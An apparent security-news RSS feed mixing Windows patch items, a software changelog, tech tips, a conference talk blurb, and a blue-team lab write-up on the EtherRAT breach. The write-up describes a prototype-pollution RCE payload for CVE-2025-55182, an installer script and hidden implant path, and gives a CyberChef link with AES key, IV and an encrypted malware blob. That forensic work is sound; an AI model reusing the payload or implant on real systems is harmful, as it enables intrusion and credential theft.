<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,160076.html"><img hspace="5" border="0" align="left" alt="Update, Windows 10, Fehler, Beta, Bug, Entwicklung, Schadsoftware, Fehlerbehebung, Bugs, Absturz, Crash, Error, Bluescreen, Update Fehler, Windows 10 bugs, Windows 10 Bug, Fehlercode, Windows 10 Fehler, Baustelle, Bauarbeiter, Windows 10 Bluescreen, Vorab, Reperatur" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/38220.jpg"></a>
			Nach dem <a href="https://winfuture.de/special/windows11/" title="Windows 11 Special">Windows-Patch-Day</a> im Juli 2026 häufen sich Berichte über Probleme mit dem Windows Server Update Service (WSUS). Microsoft bestätigte inzwischen eine Störung, die zu langsamen Synchronisierungen und Zeitüberschreitungen führt.			(<a href="https://winfuture.de/news,160076.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11: Microsoft startet Notfall-Patch KB5121767 gegen Abstürze]]></title>
<description><![CDATA[Das Juli-Patchday-Update sorgte kürzlich auf bestimmten Dell-Computern für Abstürze, Überhitzung und leere Akkus. Nun steht ein Notfall-Fix bereit, der die ernsten Probleme behebt. Wer kein betroffenes Gerät besitzt, benötigt das Update nicht.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3679069/it-security-nachrichten/windows-11-microsoft-startet-notfall-patch-kb5121767-gegen-abstuerze/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679069/it-security-nachrichten/windows-11-microsoft-startet-notfall-patch-kb5121767-gegen-abstuerze/</guid>
<pubDate>Sun, 19 Jul 2026 09:37:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,160074.html"><img hspace="5" border="0" align="left" alt="Fehler, Bug, Bugfix, Error, Bugs bugs bugs, Windows 11 Fehler, Windows 11 Bugs Bugs Bugs, Windows 11 Troubleshoot, Windows 11 Bug" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/52399.jpg"></a>
			Das Juli-Patchday-Update sorgte kürzlich auf bestimmten Dell-Computern für Abstürze, Überhitzung und leere Akkus. Nun steht ein Notfall-Fix bereit, der die ernsten Probleme behebt. Wer kein betroffenes Gerät besitzt, benötigt das Update nicht.			(<a href="https://winfuture.de/news,160074.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[CLI v3.0.46]]></title>
<description><![CDATA[Fixed out-of-credits detection so the CLI reliably recognizes the Cline API's real insufficient_credits (402) error and shows the "add credits" card instead of a generic error

Full Changelog: cli-v3.0.45...cli-v3.0.46]]></description>
<link>https://tsecurity.de/de/3678980/downloads/cli-v3046/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678980/downloads/cli-v3046/</guid>
<pubDate>Sun, 19 Jul 2026 08:31:48 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Fixed out-of-credits detection so the CLI reliably recognizes the Cline API's real <code>insufficient_credits</code> (402) error and shows the "add credits" card instead of a generic error</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/cline/cline/compare/cli-v3.0.45...cli-v3.0.46"><tt>cli-v3.0.45...cli-v3.0.46</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[RDP error, The user account has been locked because there were too many logon attempts]]></title>
<description><![CDATA[If you receive the error message “The user account has been locked because there were too many logon attempts” while connecting to a remote computer on your Windows 11/10 PC, this post will help you fix the issue. When you connect to a remote computer using Remote Desktop (RDP), Windows verifies ...]]></description>
<link>https://tsecurity.de/de/3678751/windows-tipps/rdp-error-the-user-account-has-been-locked-because-there-were-too-many-logon-attempts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678751/windows-tipps/rdp-error-the-user-account-has-been-locked-because-there-were-too-many-logon-attempts/</guid>
<pubDate>Sun, 19 Jul 2026 04:11:31 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="400" src="https://www.thewindowsclub.com/wp-content/uploads/2026/06/RDP-error-The-user-account-has-been-locked.png" class="attachment-full size-full wp-post-image" alt="RDP error The user account has been locked" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/06/RDP-error-The-user-account-has-been-locked.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/06/RDP-error-The-user-account-has-been-locked-500x286.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/06/RDP-error-The-user-account-has-been-locked-300x171.png 300w" sizes="(max-width: 700px) 100vw, 700px">If you receive the error message “The user account has been locked because there were too many logon attempts” while connecting to a remote computer on your Windows 11/10 PC, this post will help you fix the issue. When you connect to a remote computer using Remote Desktop (RDP), Windows verifies your credentials and signs […]</p>
<p>This article <a href="https://www.thewindowsclub.com/rdp-error-user-account-has-been-locked-too-many-logon-attempts">RDP error, The user account has been locked because there were too many logon attempts</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[release-publish/556a2ee276f0-20260718: feat(cron): add per-job dynamic cadence (#110978)]]></title>
<description><![CDATA[Add optional per-job pacing bounds across the cron API, CLI, tool schema, public output, and SQLite job envelope, requiring at least one bound. Allow only the currently running paced job to record a one-shot next_check proposal and carry it through isolated-run completion.
After successful runs, ...]]></description>
<link>https://tsecurity.de/de/3678588/downloads/release-publish556a2ee276f0-20260718-featcron-add-per-job-dynamic-cadence-110978/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678588/downloads/release-publish556a2ee276f0-20260718-featcron-add-per-job-dynamic-cadence-110978/</guid>
<pubDate>Sun, 19 Jul 2026 01:01:43 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Add optional per-job pacing bounds across the cron API, CLI, tool schema, public output, and SQLite job envelope, requiring at least one bound. Allow only the currently running paced job to record a one-shot next_check proposal and carry it through isolated-run completion.</p>
<p>After successful runs, clamp the proposal to the job bounds and persist an exact one-shot slot marker so maintenance preserves only that timestamp. Clear the marker on runs, edits, and schedule normalization; preserve existing no-proposal, skip, timeout, and error scheduling behavior.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Two Hobbyists, a Hedgehog Rescue, and an Exciting Hedgehog Tracking Project (Project HEDGE) (emf2026)]]></title>
<description><![CDATA[What began as a simple curiosity about what happens to rehabilitated hedgehogs after release slowly evolved into a long-term wildlife tracking system built from homemade electronics, trial and error, and a surprising amount of night time garden surveillance.

Using RFID tags, cameras, solar power...]]></description>
<link>https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:34:31 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What began as a simple curiosity about what happens to rehabilitated hedgehogs after release slowly evolved into a long-term wildlife tracking system built from homemade electronics, trial and error, and a surprising amount of night time garden surveillance.

Using RFID tags, cameras, solar power, tiny computers, and increasingly ambitious homemade electronics, the project aims to track the movements and behaviour of rehabilitated hedgehogs after release. The long-term hope is to grow the system into an open-source citizen science platform that other wildlife groups, makers, and curious hackers could build, adapt, and expand themselves.

Expect muddy field deployments, low-power electronics, strange bugs (both software and biological), unexpected toad visitors, occasional spider jump scares, questionable design decisions, and practical lessons learned while building technology that has to survive weather, wildlife, and volunteers armed with screwdrivers.

The data collected is now helping support wider wildlife research and improve understanding of hedgehog rehabilitation and behaviour. Underneath all the electronics, the real goal is simple: gathering better data to help hedgehogs survive and thrive.

Caution: this talk contains dangerously high levels of hedgehog cuteness, surprising wildlife stories, and a few simple ways people can help hedgehogs in their own gardens.

If you enjoy scrappy engineering, open hardware, wildlife, or watching hobby projects escalate dramatically, this talk is for you.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/209-two-hobbyists-a-hedgehog-rescue]]></content:encoded>
</item>
<item>
<title><![CDATA[EFI System partition Full repair needed in Windows 11]]></title>
<description><![CDATA[Some users are reporting that their hard drive partition is showing the Full repair needed status message in Windows 11 Settings. This issue is usually associated with the EFI partition. However, other hard drive partitions can also show this error. If your hard drive is showing the Full repair n...]]></description>
<link>https://tsecurity.de/de/3678008/windows-tipps/efi-system-partition-full-repair-needed-in-windows-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678008/windows-tipps/efi-system-partition-full-repair-needed-in-windows-11/</guid>
<pubDate>Sat, 18 Jul 2026 14:56:00 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="400" src="https://www.thewindowsclub.com/wp-content/uploads/2026/07/Hard-drive-partition-showing-Full-repair-needed.png" class="attachment-full size-full wp-post-image" alt="Hard drive partition showing Full repair needed" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/07/Hard-drive-partition-showing-Full-repair-needed.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/Hard-drive-partition-showing-Full-repair-needed-500x286.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/07/Hard-drive-partition-showing-Full-repair-needed-300x171.png 300w" sizes="(max-width: 700px) 100vw, 700px">Some users are reporting that their hard drive partition is showing the Full repair needed status message in Windows 11 Settings. This issue is usually associated with the EFI partition. However, other hard drive partitions can also show this error. If your hard drive is showing the Full repair needed message, the solutions provided in […]</p>
<p>This article <a href="https://www.thewindowsclub.com/hard-drive-partition-is-showing-full-repair-needed-on-windows">EFI System partition Full repair needed in Windows 11</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]]]></title>
<description><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]CallMeOnTheChain - EtherRAT | Blue team challenge.You can read this writeup on my GitBook: LinkScenarioSomething is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an un...]]></description>
<link>https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*8sxyPDbCie18N5eQqwcpAg.png"></figure><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/callmeonthechain-etherrat/">CallMeOnTheChain - EtherRAT | Blue team challenge.</a></p><blockquote><em>You can read this writeup on my GitBook: </em><a href="https://prankster.gitbook.io/prankster/cyberdefenders/network-forensics/callmeonthechain-etherrat"><em>Link</em></a></blockquote><h4>Scenario</h4><p>Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorized external source. The trail led back to a single server: their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.</p><h4>Initial Access</h4><blockquote><strong><em>Q1: </em></strong><em>What is the IP address of the attacker that exploited the web application?</em></blockquote><p>By reading the scenario above carefully, we have a public-facing web application asset that got attacked, so let’s start investigation.<br>We are provided here with a pcap file with ssl keys log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*djEn5vVkPPWI4-Zuw4vMYA.png"><figcaption>Edit →Preferences →Protocols → TLS → (Pre)-Master-Secret log filename</figcaption></figure><p>At first, filtered for http traffic, and took a look at conversations, found the IP for the web-server (<em>arguably</em><em>172.31.44.238 is the web-server IP</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prxEHHiXDwldiYkmurjf_w.png"></figure><p>Narrowing down a little with this query: http.request.method==POST and ip.dst==172.31.44.238 for less packets and better inspection (~300 packets).<br>After following someTLSstreams, found this communication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uxT_Pq2pKhmgjsoKDcYrg.png"></figure><p>a weird POST requests generated by a script maybe (User-Agent: python-requests/2.31.0\r\n) and have the same length (339).<br>so, i guess this needs further investigation by adding the source IP address http.request.method==POST and ip.dst==172.31.44.238 and ip.src==63.180.69.24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1p1lXAC2hWNAczytNPF8g.png"></figure><p>Actually i couldn’t stop myself from inspecting the fisrtPOST request with a different length, so i followed the TLSstream for this hovered packet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJnQQUYvDoz7_mQ-Zg2M2Q.png"></figure><p>so it’s a payload that abuses a JavaScript weakness (prototype pollution + constructor escape) to escape normal restrictions, then executes the system command id on the server. After that, it tries to sneak the result back to the attacker by embedding it inside an error response.</p><p>Also, By investigating the second packets with the length &gt; 339:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2j6_wD_L1EvQp6b0XhYa6w.png"></figure><p>we can find this payload also:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfNX_Ty_MI28Y45FDTFqOA.png"></figure><p>So it makes sense now!!</p><blockquote><em>63.180.69.24</em></blockquote><blockquote><strong><em>Q2: </em></strong><em>What is the CVE identifier for the vulnerability exploited in this attack?</em></blockquote><p>from the Lab Name, we can search and get the CVE easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*6UGH92G4CkeLg6z6MlhQww.png"></figure><p>Or by searching for the CVE from the payloads we’ve already identified in the previous question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvXhGt3xXzwpJyZVXluBpA.png"></figure><blockquote>CVE-2025–55182</blockquote><h4>Execution</h4><blockquote><strong><em>Q3: </em></strong><em>What is the filename of the script downloaded by the exploit payload to install the malware?</em></blockquote><p>based on paloalto report (<a href="https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/"><strong><em>link</em></strong></a>) we did identified this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ta7zqMAKL97Oyq5Cjt0SKg.png"></figure><p>so, we can filter for the user-agent curl , and GET requests:<br>http.request.method==GET and http.user_agent contains "curl"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*gFVyhvGIYpiXRfe7yp2JYA.png"></figure><blockquote>s.sh</blockquote><blockquote><strong><em>Q4: </em></strong><em>What is the filename of the decrypted implant that serves as the main RAT?</em></blockquote><p>By investigating the bash script file, we can get the correct answer directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Jwve-sbRgl1XCug_zh-5iw.png"></figure><blockquote>.7vfgycfd01.js</blockquote><h4>Defense Evasion</h4><blockquote><strong><em>Q5: </em></strong><em>What is the hidden directory path used by the malware to store its components?</em></blockquote><p>Investigating the same Bash script file, it’s obvious at the beginning of the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*NtVANhTXHIgdM4Jh8j0riw.png"></figure><blockquote><em>~/.local/share/.05bf0e9b</em></blockquote><blockquote><strong><em>Q6: </em></strong><em>The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?</em></blockquote><p>since we have the full script, the script contains a Base64 encoded Blob</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WxS9zbDvFI80nTghhlFtnw.png"></figure><p>That is AES Encrypted, with a clear Key and IV as you can see,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxI3Ys9qw19KJ7GdMcx89w.png"></figure><p>So, Let’s decrypt it properly on cyberchef (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=MkhWbmxwUnh3SnlNRjAwWDlXamxTbDV6MkcrQnB3ME45MGVKQWtsRzJZdmVBdEJnTldDUDZHT1VHNXRNZjBxQzRRaVM5TGRBQnFJcGZyRFJ4Wnl5Yzh3alN6cDNZUVZETDBUMm82Zi95Ny9WQktGMTAvdjZ1M1JBZ0VZQU9iS2dkNGJzTnNMZmkxQ0F3Q3RhY2xlSkZIV2dGQ3NLZGtLaGhqL0Q0MC9qTnBnUHhkZE55QlM4Ni9jaG9KeTRsTWovTXdmMmhscWluQ1FkbmJGQXkyeDBrSzJxVGZKMmRyOS9TcDlRMkZQQnNKWDd0RUF1REE0QkRyTjdydzVVQ2Y1dGpEbUt0NTZGdnp2Nmlxcmlxb2dSVWVLTDgrVDFZMkVUNGJwUTRwczF3bHZqMzErQlVoVHkvRXNYWm42bzY1MkQ3M1dMYW9WRC90L0NPR09yNXErNXZ5ZjJkeXRaK0ZSTW1pSXZtK2xuVzlDMlFZc0xxYmRxNnNRRWRoU254dm5vUzRUTkhqMzZPdXIySS9JcXhZbXBCREFzYkZucitLSXA1cnRTUFJGUng1QWx5Tm1tbTBFNHArb1l0WUxHbVFlTlFNU2RGWTUxa0FhZGpoNEhzTVA3eEdaYW9Rekc5V3RHYjc5LzgvSEhjOGxTcFpWL2JieVQ0YlN3a29zWjFlRmVlU0hLaFZPczU3UDhCRHEwaXFwTXI4RmF2TmVPUU41VFNOUjBicHppendHUjQ4aGNEdmp0cVdlcndHQlhZNkY1NGFsUzhienVUOUFwS3JFS1hEUksxeGF0M0NkREJDbzdjSGx0a3NveHVXckx0TnRaK1F5ZEEycm5PWVh4UzExQkYzNGl5WDdZSlB5K1NWN2hjam9ZcnZjdUxaNElKY1RpWkRQY0xNNmtBM0t6Tmx0cjdVQ29BdjV2dVh2clk5YmVrV1pZRThHd24wNWJQcVNHOWZYb2xmOGtLTHFXTU5HUjVQS2MwYkRjS2RHVXhKT3MvaVlGWDFXeG9LZThkVkswRE14WTlZWUJ2czdmd3I3YXdTWHpOcnJQM0kxbzVZR0RmZ08yQXVTNXorODlvcWZGSFJlSFY3ZmxWL0lySWg1NXFXME1aWmVGSW5uaU01Ny8wd2VqUERaTU5sRmR6V3pObUxkbWRVL0VmWFNXN0hFMGZsSUQySmluZU8wNFJkSU04bTRiR016alRYckU3RW9jSExhZDBEUWZlV0tNTGRNN0hOTWYxWkxEeXlxRlJWZUhKbWhuNklBL1F6T0dSOTlnbWdFVHUrZHdrSUhTWS9QdzlFcTVqWG5FVGNKaFVxeC93Q2NwSVBLUllZOHRHNHNQUURtZEdIUmJac2V1RDVzQWFyRHNWU1B2MmtxbXUzK0hsdTh6eUJLZlBLQUlCeGpSYmtoNnNOMXE4MHVKYm9kYXVPZ2E2MDhiU2NmVkRGY0NCMldIY2RROUlrY1A5Y0dBdWt1aGptSFltYzZIY2NqSWYyeWVyZ01YNHJQVkRqQWU2RVdwTTR2WTN4MmNwQjY2Nlk5VmdQM2lIbVpNRVNEbEpXMlBiVE41RE1oRVp3Z21mZXdYazFtQTlMTEpXNWpHVUErR29KbldFSVhrbnhwb0Ywdk1pSFVkRWFPK0xqNjJMcTFmU2VBZUdqRVY1NmtJc3p5cHF6TWtIdmtqSTFNakVTQWtZU3A4bHBRSyttZHB4aGh2ZjlDbUZhN3NoRlBRSHBsb1pSUHJpMjF2QVVzTjEzSXFEQmZvT2pKZFpIN1JlN0xyNkdNb0xMQkx4bDhYUUplWllZQVE0cFZ1UXpxa2hWM29KQ3lvNjExYW9jSXExUnhPMHA3TTZNMVVXYWhRWllIWE1PYzdQcjg0RWlSSU02aUd4d2d3NCs0WXhHWkE3RTgzanhobWVPZVRnRHczTHZUY0VEeDQvUUN6LzlTcjlBRzY4eGp1emg5UHR0TjVsQ2QwTVUzQ2o3dWdpelNQZ0hVMEdFMEJCWElmUVFtalA0UVBya2V4WkcrVXZVZDBKV2FOZjhYUnNKZ2FyY0xCQlAxV1pqbGQ5d3U5eGx5VnpJNXZBL2ZialRrUFcwOWFYbmlqQVJFQzFEejlEaG96dlM5S0x5bnA4MjQ3K2MrU3VsSVdrMTh4aDJ6YmxJZEl6R056bmFVSjJoN1hHRXZOVkxlamVLOC9oUWxnekV6ZUVoV1dJK1RpblB6S2FUZTlsWUVLZ0FOcnYyb0ZwcDg2Z0dSclh1YkZqODNVc0dmZFoyQy83OTVNbXBhMVZkczhNV0FkeHA0THlHcDhraWRTQkFwRHoxdUUxTWh1VUs4b3l2M0JsYlJCankzemozbVR2UFRzNUJ6aWZXaVVmekM1V3VUUEJlU3pXcGo1cmhkK1UvcXV5L01HYm9wbDk4UGRRSllKWDlsaTlUSVZwU3hwOWtHcG14aUtPZnpkL2FHOGdIa1I1ZWxhWGN6aTFyVUJaeDdKU0p4aVpZZjB4UUMyK0ZHeGlZbXl1UHNYK2hGb29IYWNtTGw0UVNGK3ZYdmJJSUg3QkM4c1RxbSswN2lwRGdpLy84UUFzUmM5bnhPMjgraDNOSlM5L003OWdsK1pNanJqWlpzY3BSQzZLa1RCQ2JOY1pHUDMxeHlHTDhPNE5iSnlzYWRaMTBZdm55RXhlNy82M2Uvc2wyK1doNGVXdjlieUJQdFltYnhQWVlQaW9WbzZ6VXpDVUVFczNYTk9MTkFCbjZ3TlNmSGVEVDdGVW9sdk92S05HdldVbURVZUtjZElkdWoyRWUrM1YyMUUwSEkzcjJvQUkyZUZSMzNSN0MwTDZKTFhIUmNiZFpsV2NJdExtSnVQMHVYa3cvbkcrRFFqYWRTbEhONmllSUdjSGlyRGU5NDhMTXhtZVhTRHN1aE9OeWU5SVF3ZFlTdnBPUG83WWZTMmJtMGdpSlNLZDJKaDBacWw3aCtFT0MxMUdheWU1RjFMd0JkU2JEK09OMUxzM0REUzVLeVhraG4xMjFSTWh4bnBxZlE0YUVyUUlIaW55dndOU0k4OW85TW50WkNHMGFWMnNHbGo4VHpFemg5ZUhBWEFpdUEvanp5QUpHYkdNMnlOT1BIODBMUUNkZnRIT2ZqdDVEL3RENU10c3BOZTUyQXdNaDQ0Rm5oV0VJajIxK3ByV3o1NXF1MHpHSHJpekIwOTFxYWJOaFAxclJtZlNrREN3dlFRM2M2blp1Zk05UURidC9UdWJUR2JVTElITXVoY3kzelhUdDBySWdXTlFEN1pCWUdxOUZXM25uWGwweEY5WDVDK3BGRHZLN3pBTnhJZkZLRkFRejJkKzE5dklrdlMrWHFacDk0eW45eS9xZlB4QzVZTmd3VmpNaFhrRnY1dm5nTDVxRDdBeld4RThySllUQTFtKy9PNkdqU2x6OEttb1prcTArU1lDSWc2bGVPb2grSi93YVNUcUdtUitsNjZBWi9sK29UWVhpRkthNS8rYW1PNlF1MnI2UFBlWHg2MFNwaXVDd3hjNUhyMGFiOTlkbnpubzNMME4zSnJ3RGhPTkViaUcyYktDN2xBV1VJdGVKWWN2cGFWSjcyM2xvcmluUDNHa2ZsMXhDTmV4QTFLMnFEZ0x6Sm0rMk1IS2pCQXg5QnBMZXAxRkg0eFFNMytJeklINHVDUVp3ckRjYWY3N2o5aG5hSGVHRUxlcWQrZW1FWVNsckEyd1lBWEQxa0Q2TFVuY3UxU2lIN1liSmREOUoxYUhTZ1hVT244cFNObXZ0dFAxbUIxNEpMTXpPd292d1ViN3pZNEtlOVR4bEVIT01GU3QwNHFOanRKL2pkK3QrRHpWRmdqQUpDWlNaMnpFS1d2K3N2azhuTWo4UW4wTkcxYmFaUXRmdkZQa2lRS3BwOCtKbTI0cjRoUHVQSVdLSVFTclZRbHlOVHAxL0JNRDdQWENtTnNlTWMzdG9iM2NpUXFENGE1VCtWdXpmUmhpbXQzYTFMTHVrblFpU1VreTU2TVNZdURlS1dFOVMwRXVEeCtxRFdsWk5vNzNpOWRWaXlWdjEvRU80dVZnMmpReWx4WFNqK2xQa2c0RGJKTEUydUtYMGhsVHdTaThOS3FjKzk3SE9tSXNoT2VuckVXZ0NreDVUa2lrQWJvVzJhRlhYbkNxV1ZDbmlOalNRWXVjdFpDRWloZFVHWVBxTDk1MVpwMlZYWitUUzArTEptZVFtQjBIeSs0M0I0MGtYcG5UQmgxYk83eGdIWmZGRzhqOTRveGg2cG1qa1hYenh3djk4WDlmQUVKd2dUV0Q1UDBjSG5FOWtHcU9WV3VYMGVZSW9vd0V5ajRheEwyVTFha09FdHgzUHU4YVFZcmFtUDNEN2ZTeWRPVFhrRGJCTFVXR2VYNi90M3JmWmh0YjQwdTk1ZG91dFllVG9aYy9PZXBocStDRWpMQ2RTajRnQ250VE9xa0F0dG5STHY1My9Xc0k0ZzJwdUMxOXVjS3BFVEsyZTRrMm52bVJJQm92cmNIZXFOcXZIOXZqZTRIYU1LcGc3L29ITFpmZm9jWEFXSERvWDBxa3VMLzZtUUtvS0lwazNKM1U2SHY1dXRab0dEa0Z6UkpuRDRHZUZhWFJQVHpSQ3FpTldrR3pjdnREMDhlcEI5aUdVaWdXdm5sSWhCeTBvRXFLZ21BU1MyZmdCYWRxTkxmR04vdkFVUW9uRWh4M3ptNjNmZmFUclBBWDY1V2dUSXkxRDhSMjdvaDRwdkRsUC9Hdnp6RG9ZL1dCSGhlVlBEcFA4TlA1MmVxckZSdXVBSm03SDJ1T1BPUlJ3SWpCN1RTZGFrYTEyck53UnFlSjBqbzB0QU1HdmhHZ083bmxDRDlZOTIveHNWdDNvaXc3eDh1ZUJlRVpYTXM4MEk3dWNzUWtPOGtmR29nakJ3dXE3dlhPbngyN0d0M0pqL0ZBUWFPYkVOaVg0TURhMlkzWXpub0o1bUtvQ3lOUkNCNDFGZm1FdXY4Qjl5TTdaL1lWRFVmcmZsbFhKTTR5OU1jM0VxSEhOdzczUjR4dWFYQU55THpsVS9LZUJiVGZJcVJWNWIwRW9ZZ1YzVEc0dzJWdVdBN3FTMWFuVnlpdUJzR1c3UnhXSXV2dXFxaDFURUMzdkVDTjFVd0YrZ3VpbmRFVlhYQThEOThjYnVBSWVYK2I3VVBqV1cyRlF4eGxtL2VEYml4aU5IUHlEY0tvM3RXa2xJN3djWkY0bTNELzlkakxsUnlLWkthQlAreGtZaHBNRGduV2pMQm5XL05ZV3ZZMUNWL2I5R2I2OEdXZXNGSWRXK0Y1TDZjMjRLT0QwbjdFRUs3UU5neFRGY2hIZlozeDNhY3hJdnN6d3RLS3VSMWF5dXRUTkw5T2puZWw2aTVBUWVJa05ORTZoTGNsTlJyZUZhQWltUzFwdXhOOUZTck9oTVc3R2JmaTRhNHF0eHVGU2VUd0pVUHlzNjcwTnQrMWhQRktBcjg5NmVLRmo4T25XcUpweDV2TXpsMFpadGJ5NmFXSHQyR2EvWnFJTFJFSmdSL2VZT0NtQmdwdm5DL3RJdVNQTUZYN01Tb08zQjJpL2RIdmF4L0ZOK21kUkVOY2JoQTJHYWhJaWlmUFQ5NzlJbkdCZjdKdU5SeXBaeGJwdzU0VUxDNXdWYTBnYklsWVFFYlhyRWdKU21PaU1ndFRqRmlZQXpxaU9SWHUvSlVTS3pzVityVkVYZDRubDlUUWZydElBUXpqTkhvWXd1Q2hEaCtmNjNSNzRZZjZIaVZINS9ZTEFFenI3R1NPRFdNVmIzUElUTHJxSDdKc3JYWTlmNVNDTkRza3NUb0hDcWZiV3lCYzI3d1BQY3pTdC9ESzJJNTB4bk13djR3U084T0VwWUM2Nkw1OEUwN3ZYS3VKSGRpV2VVb3YwS0l1YWJOVXhPcm5rVXRyTW9WN1hLUi9mYzIzdEk0em0yRDEzbWMrVmNOdDRIQmh5ZFFmZno2Z1VMYlY5Qk1HTDhFTkttOXQ2bkcweW8yeHh3ZWF3OGhkUGdhb084ZnBIWW55QzYyTnpGRmtVUXRIY3o3THdBc1g5TjVRZlhsQkpvZ3c4dnppeWhxVWZzcWxHak81Z0JRWWNJOVR0WkhGaWF6VndnYnQrdU5UYzI1Y3dnZWROc1hsWU9zQlNRNHBkRmdTV2d3di84OW9WUyt5QXRTRlJVS0NaMkM1WGdyQUlQNFJWdHNGZFZ2aUZGRG9Ia3RmVkN1b2kzc2xuU25nSEMvejkxWGJ0RnNPMlc4bDZFRlpLSjVKQWJBMWRsUENaVC9RckNucGJWVC9tZlNYTU1aZCt3bnFVd1dzc1ZpMTExblc5bnlsdHRyS2VQT1hwWDdkYjNEWWNhSkFybDNrZ3NGK0ZqaWlQVEh6VXYzdjJjeGRUYXlrbURBVHRQckpqMTBsZGgvandNTUh1R1J5MVBTZURXRGI5QkhlL05vaFBKOU9KZ2tDUGxPVDZna00xUlFZT00vbDZVYnNiMXBzQm9XR0dsdGF3Lzd3VzVHZHl6SXFRNmVJdmhtWjk0bjBHZUdnem5BYUQ4SHp0Uy9aNkpaOFhZODlUTXVqSStNbm82VTl0SHFrMTBKTDZMRUZ3dStzQTdrZGdOUGFDMkw0Q1Ftdk4zNTdsMkhsVU9zeklMY2VOR2NscndvNVU0cGdJdFMrQ3NtVnRDaW1ubHppS3U4VDlnMWwyVW9qYktnay9NZWExSW5nZlVGRVo4cnE0NjFSeHpUS25tLz